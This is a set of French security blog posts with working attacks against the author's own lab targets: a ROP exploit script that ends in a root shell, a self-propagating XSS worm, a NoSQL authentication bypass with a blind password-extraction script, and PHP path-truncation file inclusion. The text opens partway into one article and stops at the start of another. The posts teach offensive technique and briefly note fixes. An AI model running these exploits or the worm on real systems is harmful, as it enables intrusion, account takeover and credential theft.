Pour débuter, on compile en 32 bits :

$ gcc testrop.c -fno-stack-protector -no-pie -m32 -o testrop

Ici, le binaire est faillible via la fonction scanf() qui ne vérifie pas la taille de l'entrée.

Si vous aviez trouvé, bravo :

Regardons un peu les sections présentes dans notre binaire :

$ readelf -S testrop
Il y a 30 en-têtes de section, débutant à l'adresse de décalage 0xf6c:

En-têtes de section :
  [Nr] Nom               Type            Adr      Décala.Taille ES Fan LN Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804820c 00020c 000063 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          08048270 000270 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804827c 00027c 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482ac 0002ac 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b4 0002b4 000020 08  AI  5  12  4
  [11] .init             PROGBITS        080482d4 0002d4 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
  [13] .text             PROGBITS        08048350 000350 0001c2 00  AX  0   0 16
  [14] .fini             PROGBITS        08048514 000514 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000013 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        0804853c 00053c 000034 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048570 000570 0000dc 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      0804964c 00064c 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049650 000650 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049654 000654 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049658 000658 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049740 000740 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049744 000744 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049760 000760 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049768 000768 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 000768 000039 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 0007a1 000106 00      0   0  1
  [28] .symtab           SYMTAB          00000000 0008a8 000450 10     29  45  4
  [29] .strtab           STRTAB          00000000 000cf8 000271 00      0   0  1
Clé des fanions :
  W (écriture), A (allocation), X (exécution), M (fusion), S (chaînes)
  I (info), L (ordre des liens), G (groupe), T (TLS), E (exclu), x (inconnu)
  O (traitement additionnel requis pour l'OS) o (spécifique à l'OS), p (spécifique au processeur)

Ici on peut voir que les sections .init, .plt, .text et .fini ont le flag eXecutable, c'est donc ici que nous allons trouver nos gadgets.

Petit rappel sur les sections les plus importantes d'un binaire lorsque l'on souhaite faire du ROP :

PLT : Contient du code permettant de résoudre les fonctions de la libc exécutées dans le binaire (Explication)
TEXT : Le code du binaire
GOT : Contient les adresses de la libc résolues grâce à la plt
BSS : Contient les variables statiques définies lors de la création du programme.
DATA : Contient les données variables étant définies lors de la création du programme. Par exemple :

 char test[]="Ma chaîne";

Après ce bref rappel sur le rôle des sections, voyons à quoi ressemble un gadget. Les gadgets ont, la plupart du temps, la forme suivante :

instruction1; instruction2; instruction-n; ret

L'instruction "ret" en 32bits est l'équivalent d'un pop EIP : On enlève 4 bytes de la stack et on les met dans EIP.

Cela permet d'enchainer différents gadgets et de construire une suite d'actions que l'on appelle ropchain.

Le type de gadget le plus utilisé est le gadget "pop", il permet de mettre des chaînes de 4 bytes non exécutables sur la stack comme dans l'exemple suivant :

Exemple de ropchain située sur la stack :

+----------------------------+
|                            |
|    pop ebx; pop ecx; ret;  |
|                            |
+----------------------------+
|                            |
|         0x61616161         |
|                            |
+----------------------------+
|                            |
|         0x62626262         |
|                            |
+----------------------------+
|                            |
|       gadget suivant       |
|                            |
+----------------------------+

Lors de l'exploitation, cette technique nous permettra par exemple de faire appel à des fonctions avec des arguments comme nous allons le voir dans la partie suivante.

La méthode de ROP classique :

Passons directement à la méthode d'exploitation. Nous allons utiliser le schéma d'exploitation suivant :

ret2plt vers puts afin de leak (récupérer) une adresse de la libc (dont la base est aléatoire en raison de l'ASLR).
ret2main afin de ré-exécuter le programme sans recharger l'ALSR.
ret2libc vers system.

Maintenant que vous êtes tous perdus, une petite explication s'impose :

C'est quoi tous ces ret2truc ?

Le ret2plt est une méthode qui permet d’exécuter n'importe quelle fonction importée dans le binaire (via la PLT).

On peut les lister de la manière suivante :

$ objdump -R testrop

testrop:     format de fichier elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049740 R_386_GLOB_DAT    __gmon_start__
08049750 R_386_JUMP_SLOT   puts
08049754 R_386_JUMP_SLOT   __gmon_start__
08049758 R_386_JUMP_SLOT   __libc_start_main
0804975c R_386_JUMP_SLOT   __isoc99_scanf

Cette commande affiche les fonctions importées de la libc et leur adresse dans la GOT.

Dans notre schéma d'exploitation, nous avons parlé d'un ret2plt de puts.

Le but d'un ret2plt est d'exécuter une fonction de la libc présente dans le binaire.

Le modèle de ropchain pour faire un ret2plt est le suivant:

ropchain = addrPltFonction + popNgadgetRet + arg1 +...+ arg2

Avec popNgadgetRet étant un gadget contenant autant de pop que d'arguments voulus : dans notre cas, un seul.

En effet, la fonction puts prend un argument qui est un pointeur vers une chaîne:

int puts(const char *str)

Si cet argument pointe sur une adresse de la libc, nous pouvons alors l'afficher et la récupérer !

Dans notre étude des sections importantes nous avons vu une section qui contient les adresses de la libc : la GOT !

On peut donc en conclure qu'un pointeur sur l'adresse de scanf est disponible à l'adresse 0x804975c (voir la liste des fonctions ci-dessus).

Une simple vérification sous gdb nous confirme que l'adresse de scanf est bien dans la GOT :

gdb-peda$ x/x 0x0804975c
0x804975c <__isoc99_scanf@got.plt>:     0xf7e77140
gdb-peda$ x/x __isoc99_scanf
0xf7e77140 <__isoc99_scanf>:    0x53565755

Pour notre exploitation, il faut que notre début de ropchain exécute :

puts(adresseGOTscanf);

On récupère donc l'adresse référençant puts dans la plt (ici 0x8048310):

$ objdump -d testrop | grep "<puts@plt>"
08048310 <puts@plt>:
 8048459:       e8 b2 fe ff ff          call   8048310 <puts@plt>

Il faut aussi lui envoyer un argument à l'aide d'un pop XXX; ret.

RopGadget permet d'extraire les gadgets d'un binaire :

$ ROPGadget --binary testrop
Gadgets information
============================================================
0x08048623 : adc al, 0x41 ; ret
0x0804843e : adc al, 0x50 ; call edx
0x080483b7 : adc cl, cl ; ret
0x0804848f : add al, 0x59 ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x08048418 : add al, 8 ; add ecx, ecx ; ret
0x080483b1 : add al, 8 ; call eax
0x080483eb : add al, 8 ; call edx
0x080482f0 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048620 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret
0x0804861c : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret
0x08048415 : add eax, 0x8049768 ; add ecx, ecx ; ret
0x0804841a : add ecx, ecx ; ret
0x080483b5 : add esp, 0x10 ; leave ; ret
0x080484f9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804848d : add esp, 4 ; pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x080482f2 : add esp, 8 ; pop ebx ; ret
0x080482d8 : call 0x8048386
0x080483b3 : call eax
0x080483ed : call edx
0x08048494 : cld ; ret
0x08048621 : dec eax ; push cs ; adc al, 0x41 ; ret
-----
snip
-----
0x080483b2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080483ec : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048419 : or byte ptr [ecx], al ; leave ; ret
0x08048491 : pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x080484ff : pop ebp ; ret
0x080484fc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f5 : pop ebx ; ret
0x08048490 : pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x080484fe : pop edi ; pop ebp ; ret
0x080484fd : pop esi ; pop edi ; pop ebp ; ret
0x08048493 : popal ; cld ; ret
0x08048416 : push 0x1080497 ; leave ; ret
----
snip
----
0x080483ea : xchg eax, edi ; add al, 8 ; call edx
0x0804861f : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret

Unique gadgets found: 87

On y trouve un gadget 0x080482f5 : pop ebx ; ret; idéal pour notre exploitation !

La deuxième partie du schéma indique l'utilisation d'un ret2main.

Cela consiste tout simplement à mettre l'adresse du main du programme dans notre ropchain afin que celui-ci se relance sans modifier l'ALSR (l'ALSR change à chaque démarrage du programme).

Notre ropchain pour leak l'adresse de scanf dans la libc aura donc cette forme :

ropchain = addrPLTputs + addrPopEbxRet + addrGOTscanf + addrMain

+-----------------------------+
|                             |
|    0x8048310 : <puts@plt>   |
|                             |
+-----------------------------+
|                             |
| 0x080482f5 : pop ebx ; ret; |
|                             |
+-----------------------------+
|                             |
| 0x804975c : __isoc99_scanf  |
|                             |
+-----------------------------+
|                             |
|      0x8048477 : <main>     |
|                             |
+-----------------------------+

On teste donc avec le script suivant que notre début de ropchain fonctionne :

Attention le script fonctionne avec la librairie pwntools

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context(arch='i386')
p = 0
b = ELF('./testrop')
libc = ELF('/lib32/libc.so.6') # "info sharedlibrary" sous gdb pour connaître le chemin de votre libc

DEBUG = False

def wait(until):
    buf=p.recvuntil(until)
    if(DEBUG):
        print buf
    return buf

def start():
    global p, libc, b
    if p is not 0:
        p.close()
    p = process('./testrop')
    wait("Input:")


# pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :
addrmain = b.symbols['main'] # 0x8048477
pr = 0x080482f5  #: pop ebx ; ret
gotscanf = b.symbols['got.__isoc99_scanf'] # 0x804975c
pltputs = b.symbols['puts'] # 0x8048310 
padding="a"*76

start()
log.info("Construct ropchain")
ropchain=padding+p32(pltputs)+p32(pr)+p32(gotscanf)+p32(addrmain) # p32 permet de "pack" une adresse : 0x61616161 -> "aaaa" 
log.info("Get scanf leak")
p.sendline(ropchain)
print wait('Input:')

Le script retourne bien l'adresse de scanf en little endian @q▒▒et se relance tout seul :

@q▒▒
Input:

Cette bouillie de caractères est en réalité l'adresse que nous venons de récupérer.

Elle ne nous apparaît bien évidemment pas de façon à ce que nous puissions la lire à l'œil nu, mais notre script va s'en charger pour nous :

leak=wait('Input:')
leak_scanf = u32(leak[2:6])
log.info("Leak got scanf: "+str(hex(leak_scanf)))

Nous avons donc un leak de la libc (et plus précisément de la fonction scanf()) !

Nous arrivons donc à notre dernière partie : faire un ret2libc vers system().

Si vous ne savez pas ce qu'est un ret2libc, je vous redirige vers la section prérequis en haut de l'article.

tl;dr : C'est globalement un ret2plt avec une fonction de la libc.

Actuellement, nous avons l'adresse de scanf dans la libc mais pas celle de system.

Heureusement, nous pouvons la calculer facilement car l'écart entre deux fonctions de la libc est toujours le même.

Ainsi scanfLibc -/+ offset = systemLibc.

La librairie pwntools permet de calculer l'offset de différence très facilement :

leak_system = leak_scanf - libc.symbols['scanf'] + libc.symbols['system']

Nous avons déjà notre gadget pop;ret; afin de mettre un argument sur la stack, ici "/bin/sh".

La chaîne "/bin/sh" est présente dans la libc ainsi que dans la variable SHELL de l'environnement du programme.

Calcul de l'adresse de "/bin/sh" avec pwntools :

leak_binsh = leak_scanf - libc.symbols['scanf'] + next(libc.search('/bin/sh\x00'))

La suite de notre ropchain sera donc :

ropchain = systemLibc + addrPopEbxRet + addrBinsh

+-----------------------------+
|                             |
|        Adresse system       |
|                             |
+-----------------------------+
|                             |
| 0x080482f5 : pop ebx ; ret; |
|                             |
+-----------------------------+
|                             |
|       Adresse "/bin/sh"     |
|                             |
+-----------------------------+

On résume la méthode :

On leak une adresse de la libc grâce à un ret2plt de puts (printf ou send marchent aussi)
On calcule l'adresse de system et de /bin/sh à partir de ce leak
On fait un ret2libc vers system() pour avoir un shell

On test notre script qui contient la ropchain complète :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context(arch='i386')
p = 0
b = ELF('./testrop')
libc = ELF('/lib32/libc.so.6') # "info sharedlibrary" sous gdb pour connaître le chemin de votre libc

DEBUG = False

def wait(until):
    buf=p.recvuntil(until)
    if(DEBUG):
        print buf
    return buf

def start():
    global p, libc, b
    if p is not 0:
        p.close()
    p = process('./testrop')
    wait("Input:")


# pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :
addrmain = b.symbols['main'] # 0x8048477
pr = 0x080482f5  #: pop ebx ; ret
gotscanf = b.symbols['got.__isoc99_scanf'] # 0x804975c
pltputs = b.symbols['puts'] # 0x8048310 
padding="a"*76

start()
log.info("Construct ropchain")
ropchain=padding+p32(pltputs)+p32(pr)+p32(gotscanf)+p32(addrmain) # p32 permet de "pack" une adresse : 0x61616161 -> "aaaa"
log.info("Get scanf leak")
p.sendline(ropchain)

leak=wait('Input:')
leak_scanf = u32(leak[2:6])
leak_system = leak_scanf - libc.symbols['__isoc99_scanf'] + libc.symbols['system']
leak_binsh = leak_scanf - libc.symbols['__isoc99_scanf'] + next(libc.search('/bin/sh\x00'))

log.info("Leak got scanf: "+str(hex(leak_scanf)))
log.info("Leak system: "+str(hex(leak_system)))
log.info("Leak /bin/sh: "+str(hex(leak_binsh)))

log.info("Get shell")
ropchain=padding+p32(leak_system)+p32(pr)+p32(leak_binsh)
p.sendline(ropchain)

# Interactive shell
p.interactive()

Résultat :

$ id
uid=0(root) gid=0(root) groupes=0(root)

Vous connaissez maintenant la technique de ROP la plus utilisée et qui ne nécessite pas beaucoup de gadget (un pop;ret; et une fonction d'affichage).

J'utilise personnellement cette technique à chaque fois que je dois faire un ROP en raison de sa simplicité de mise en place.

La plupart des autres méthodes de ROP dérivent de cette technique.

J'ai uniquement parlé ici du ROP en 32 bits mais le schéma d'exécution reste le même pour le 64 bits : la seule différence étant que les arguments sont passés par registres et non plus sur la stack.

Les gadgets pop doivent donc correspondre aux bons registres :

1er argument : pop rdi; ret;
2ème argument : pop rsi; ret;
3ème argument : pop rdx; ret;

Cette différence est liée au système d'appel des fonctions disponible ici.

De plus, en 64 bits, il existe dans la libc un "magic gadget" qui permet d'exécuter un shell directement sans connaitre l'adresse de system ou de "/bin/sh", plus d'informations ici.

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

Les Vers XSS: Game of Life

2015-03-10T17:56:00+01:00

L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.

Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.

En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée a été plus tardive.

Le plus connu d'entre eux est sans aucun doute le ver Samy qui a infecté le réseau MySpace en 2005.

Je vous conseille d'ailleurs de lire l'histoire du créateur de ce ver qui a mis à disposition son code ainsi que ses réactions heure par heure pendant le déploiement de son ver.

Une fois de plus, ce ver n’était pas nocif et se contentait simplement de poster un message sur le profil de la personne ("But most of all, samy is my hero") ainsi que de l'ajouter en ami.

Après cette petite introduction, passons à un exemple.

Pour commencer, j'ai créé un site faillible permettant de tester les vers XSS, il est composé de quatre parties :

Connexion au site
Un tchat en ligne
L'affichage du profil
L'affichage des profils des autres comptes

Il est disponible ici.

Pour le configurer, rien de plus simple :

Créer une base de données "Ver"
Importer le fichier bdd.sql
Mettre les bons identifiants dans le fichier bdd.php

Voilà, vous êtes prêts pour la suite de cet article !

Si vous avez survolé le site, vous aurez sans doute remarqué que le profil contient une option "humeur".

Cette humeur correspond à une sorte de "message d'état", un petit mot que la personne peut laisser sur son profil.

Le champ humeur ainsi que le tchat sont tous deux faillibles au XSS.

Pour notre exemple nous allons passer par le champ "humeur"; cela nous permettra de laisser cours à notre imagination lors de la dernière partie de cet article.

Procédons, maintenant au schéma d'attaque :

Nous allons nous connecter en tant que Alice puis infecter notre profil.
Ensuite nous nous connecterons en tant que Admin puis visiterons le profil d'Alice.
Enfin nous vérifierons que nous avons bel et bien été infecté à notre tour.

Sans tarder, voici le code du ver que nous allons utiliser :

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);
post=post.concat(document.getElementById("owned").innerHTML);
post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));
http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);

alert("Infected");

Une petite explication s'impose.

On ouvre une requête HTTP :

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

La ligne suivante correspond à humeur=Infected<script id="owned"> :

ps : Elle est encodée car le Javascript est très pointilleux avec ses mots clés.

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);

Passons ensuite à la ligne la plus importante, elle récupère le code du ver grâce à l'id que nous avons défini à l'aide de la première instruction :

post=post.concat(document.getElementById("owned").innerHTML);

On ferme ensuite la balise script :

post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));

Enfin, on envoie le ver sur le profil personnel de la personne et on affiche un pop-up qui signale l'infection :

http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);

alert("Infected");

Ce qui donne en action :

On change l'humeur par le script :

Puis, on se connecte en Admin :

Et enfin, on accède à affiche.php?id=2, l'id 2 étant l'id d'Alice :

On constate que l'utilisateur Admin a bien été infecté en consultant le profil d’Alice !

Pour aller plus loin, on peut s'amuser à rajouter une fonction qui envoie un message dans le tchat avec le lien du profil à chaque infection.

Afin de rendre l'exercice plus amusant, nous allons utiliser une sélection aléatoire de la chaine à envoyer dans le tchat :

var http = new XMLHttpRequest();
http.open("POST", "/Ver/profile.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

var post=String.fromCharCode(104,117,109,101,117,114,61,73,110,102,101,99,116,101,100,60,115,99,114,105,112,116,32,105,100,61,34,111,119,110,101,100,34,62);
post=post.concat(document.getElementById("owned").innerHTML);
post=encodeURI(post.concat(String.fromCharCode(60,47,115,99,114,105,112,116,62)));
http.setRequestHeader("Content-length", post.length);
http.setRequestHeader("Connection", "close");
http.send(post);


randomstring=["[PDF] Pirater comme un nul", "[Tuto] BruteForce Facebook", "[TUTO] Hack Hotmail", "[INFO] Aller sur le deepweb"];
post="message=<a href=%22./affiche.php?id=1%22>";
post=post.concat(randomstring[Math.floor(Math.random() * randomstring.length)]);
post=post.concat("</a>");

var http2 = new XMLHttpRequest();
http2.open("POST", "/Ver/shout.php", true);
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http2.send(post);

alert("Infected");

Vous savez maintenant créer votre propre ver XSS ainsi que le modifier pour lui ajouter des fonctions.

Ces fonctions peuvent être diverses et ne sont limitées que par votre imagination (Changement de mot de passe, Command and Control, Bypass Token, etc.).

Pour empêcher les Vers XSS sur votre site, il suffit tout simplement de le sécuriser des XSS Classiques (grâce à la fonction html_entities()).

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

Les NOSQL injections Classique et Blind: Never trust user input

2015-02-22T05:21:00+01:00

Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.

On peut en citer plusieurs telles que:

DynamoDB
MongoDB
Oracle NoSQL

Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injections.

Pour ceux souhaitant tester chez eux, je leur conseille ce tutoriel pour installer MongoDB sur Wamp, ainsi que celui ci pour l'utilisation avec PHP.

Entrons maintenant dans le vif du sujet.

Tout le monde connait les SQL injections.

Ces dernières reposent sur la création une requête SQL basée sur une string:

$query="SELECT * FROM users where login='$_GET[login]'";

Avec $_GET[login] égale à ' OR '1'='1 cela donne:

$query="SELECT * FROM users where login=' ' OR '1'='1'";

Rien de très nouveaux.

Pour les NOSQL injections, la porte d'entrée passe par la création d'un tableau pour faire la requête, pour vous expliquer voici un script basique d'authentification avec MongoDB:

if (isset($_POST['usr_name']) && isset($_POST['usr_password']))
        {
        $usr_name = ($_POST['usr_name']);
        $usr_password = ($_POST['usr_password']);
     $con = new MongoClient(); // Connexion a MongoDB

     if ($con) // Si la connexion a fonctionné
          {

          $db = $con->test;
          $people = $db->people;
          $qry = array(
               "user" => $usr_name,
               "password" => $usr_password
          ); // Construction de la requête NOSQL

          $result = $people->findOne($qry); // Recherche de l'utilisateur
          if ($result) // Si les identifiants correspondes on connecte l'utilisateur
               {
               echo("Bienvenue Administrateur"); // Zone Admin
               exit(0);
               }
          }
       else
          {
          die("Mongo DB not installed");
          }
     }

echo'
     <form action="" method="POST">
     Login:
     <input type="text" id="usr_name" name="usr_name"  />
     Password:
     <input type="password" id="usr_password" name="usr_password" />
     <input  name="submitForm" id="submitForm" type="submit" value="Login" />
     </form>
';

On ajoute un utilisateur dans la base de données:

$ mongo
MongoDB shell version: 2.6.7
connecting to: test
Server has startup warnings:
2015-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face,
2015-02-22T00:57:09.521+0100 ** enabling http interface
> db.people.insert({user:"Geluchat",password:"mdp");
WriteResult({ "nInserted" : 1 })

Tout est prêt, nous allons pouvoir procéder à notre première injection NOSQL.

On passe usr_name[$ne]=h4cker&usr_password[$ne]=h4xor grace à HackBar:

Nous voici désormais Administrateur.

Maintenant, vous vous demandez: "Comment ça marche?".

Selon la documentation MongoDB sur les opérateurs de requête $ne correspond à "Différent de".

Lorsque PHP crée la requête il utilise la fonction array(), qui nous permet de faire des array à partir d'array déjà existants.

$qry = array(
     "user" => $usr_name,
     "password" => $usr_password
); // Construction de la requête NOSQL

Pour mieux comprendre, on fait un var_dump($qry), on obtient:

array (size=2)
  'user' =>
    array (size=1)
      '$ne' => string 'h4cker' (length=6)
  'password' =>
    array (size=1)
      '$ne' => string 'h4xor' (length=5)

Ce qui traduit en "Pseudo SQL" donne: "WHERE user!=h4cker and password!=h4xor".

On a donc vu un exemple d'exploitation classique.

Mais nous, ce qu'on veut, c'est récupérer le mot de passe administrateur.

Malheureusement, nous ne disposons d'aucun affichage, il va donc falloir trouver un autre moyen d'accéder à ce mot de passe.

Toujours dans la documentation MongoDB on trouve $regex.

Les fameuses regex vont donc pouvoir nous sauver, l'exploitation se fera en blind.

Pour ceux qui ne comprennent rien au regex, ne vous inquiétez pas, je vais vous expliquer la construction de la requête:

. : Représente n’importe quelle caractère
caractère {un nombre} (ex: .{5}): Caractère fois le nombre

Donc pour trouver la taille on cherche avec:

usr_name[$ne]=h4cker&usr_password[$regex]=.{1}

On incrémente de 1 à chaque fois, jusqu'à ce que "Bienvenue Administrateur" disparaisse.

Et on trouve:

usr_name[$ne]=h4cker&usr_password[$regex]=.{3}

Le mot de passe (mdp) fait bien 3 caractères.

On procède de la même façon pour les caractères:

usr_name[$ne]=h4cker&usr_password[$regex]=m.{2}
usr_name[$ne]=h4cker&usr_password[$regex]=md.{1}
usr_name[$ne]=h4cker&usr_password[$regex]=mdp

J'ai codé un petit script en python qui fait le travail à notre place et voilà le travail:

#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests

page = "http://localhost/NOSQL/"

taille=0
while 1:
     forge=".{"+str(taille)+"}";
     req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find(b'Bienvenue')==-1 :
          break
     taille+=1

taille-=1
print("[+] Le password fait "+str(taille)+" caracteres")
passwd=""
char=48

length=0

while length!=taille:
     forge=passwd+str(chr(char))+'.{'+str(taille-len(passwd)-1)+'}';
     req={'usr_name[$ne]':'hacker', 'usr_password[$regex]':forge}
     resultat=requests.post(page,data=req).content
     print(req)
     if resultat.find(b'Bienvenue')!=-1 :
          passwd+=str(chr(char))
          char=48
          length+=1
          print(passwd)

     if char==90:
          char=96
     if char==57:
          char=64
     char+=1

print("[+] Le password est: "+str(passwd))

$ python NOSQL.py
{'usr_password[$regex]': '.{0}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{1}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{3}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': '.{4}', 'usr_name[$ne]': 'hacker'}
[+] Le password fait 3 caracteres
{'usr_password[$regex]': '0.{2}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'L.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'M.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'N.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'O.{2}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'k.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'l.{2}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'm.{2}', 'usr_name[$ne]': 'hacker'}
m
{'usr_password[$regex]': 'm1.{1}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'm2.{1}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'md.{1}', 'usr_name[$ne]': 'hacker'}
md
{'usr_password[$regex]': 'md1.{0}', 'usr_name[$ne]': 'hacker'}
{'usr_password[$regex]': 'md2.{0}', 'usr_name[$ne]': 'hacker'}
...
{'usr_password[$regex]': 'mdp.{0}', 'usr_name[$ne]': 'hacker'}
mdp
[+] Le password est: mdp

Pour patcher cette faille, une solution : la vérification grâce à la fonction is_array():

if (isset($_POST['usr_name']) && isset($_POST['usr_password']) && !is_array($_POST['usr_password']) && !is_array($_POST['usr_name']))

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

Les PATH truncations: The old one

2015-02-06T11:35:00+01:00

Après les SQL truncations, passons à l'étude de son homologue PHP, les PATH truncations.

Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois chaotique de la mémoire liée à ce langage.

Il parait donc tout à fait naturel que pour palier à ce problème les créateurs de ce langage aient dû s'orienter vers une gestion simplifiée de la mémoire paradoxalement au PHP qui est lui-même un langage très faiblement typé

Passons donc au vif du sujet, les strings PHP, jusqu’à la version 5.3, peuvent supporter une chaîne de longueur maximum égal à 2^12 soit 4096 caractères.

Que se passe-t-il si l'on dépasse cette limite?

Eh bien, PHP tronque tout simplement la chaîne. Comme à l’accoutumé, voici un exemple pour illustrer le principe et mettre en avant le problème:

if(isset($_GET['path']) && !preg_match('/\x00/im',$_GET['path']))
{
     include($_GET['path'].".php");
}

Ce code comporte une LFI, on peut inclure n’importe quel fichier PHP ou lire le code via les wrappers php.

De plus, le null byte étant filtré, on ne peut pas inclure un fichier qui ne comporte pas l'extension .php

Comment faire?

C'est là qu'intervient la PATH truncation, si l'on envoie une chaîne supérieure à 4096 le .php ne sera pas ajouter à la fin.

A ce moment vous êtes sûrement en train de vous poser des questions sur l’intérêt d'une telle faille. En effet, comment une chaîne de plus de 4096 pourrait contenir notre chemin qui fait entre 50 et 100 caractères.

En fait, la solution est très simple, il suffit d'analyser comment PHP fonctionne.

PHP cherche à interpréter une chaîne basique:

include("admin.php");

Il va tout d'abord chercher le fichier admin.php puis l'inclure, cette procédure, rappelons-le, utilise des fonctions du langage C.

Le C possède des conditions d'accès au fichier et de recherche de chemin très poussé et adaptative, il suffit donc de trouver un bypass fonctionnant en C.

Après quelques recherches on résout le problème:

/etc/passwd/./././././././././././././[4096 plus tard]/.

Qui est traduit par:

include("/etc/passwd");

Note:

De plus, veillez bien à regarder la taille du chemin, elle doit rester impaire, admin.php fait 9 caractères, mais admin.php3 en fait 10. Cela implique que vous devez équilibrer le nombre de caractères du chemin sinon la troncation ne se fera pas correctement (par exemple: x/../admin.php3) Sous Windows on peut exploiter via les points (admin.php.............[4096]............)

On a donc complètement bypass la pseudo vérification d'extension mise en place par le programmeur.

Il faut bien sûr retenir de cette faille qu'elle n'est disponible que sur les versions inférieurs à 5.3 .

Pour patcher cette faille il suffit donc tout simplement de mettre à jour son PHP par une version supérieure à la 5.3 .

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.

La Stack Smashing Protection: Un canary infaillible?

2015-02-04T13:57:00+01:00

Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.

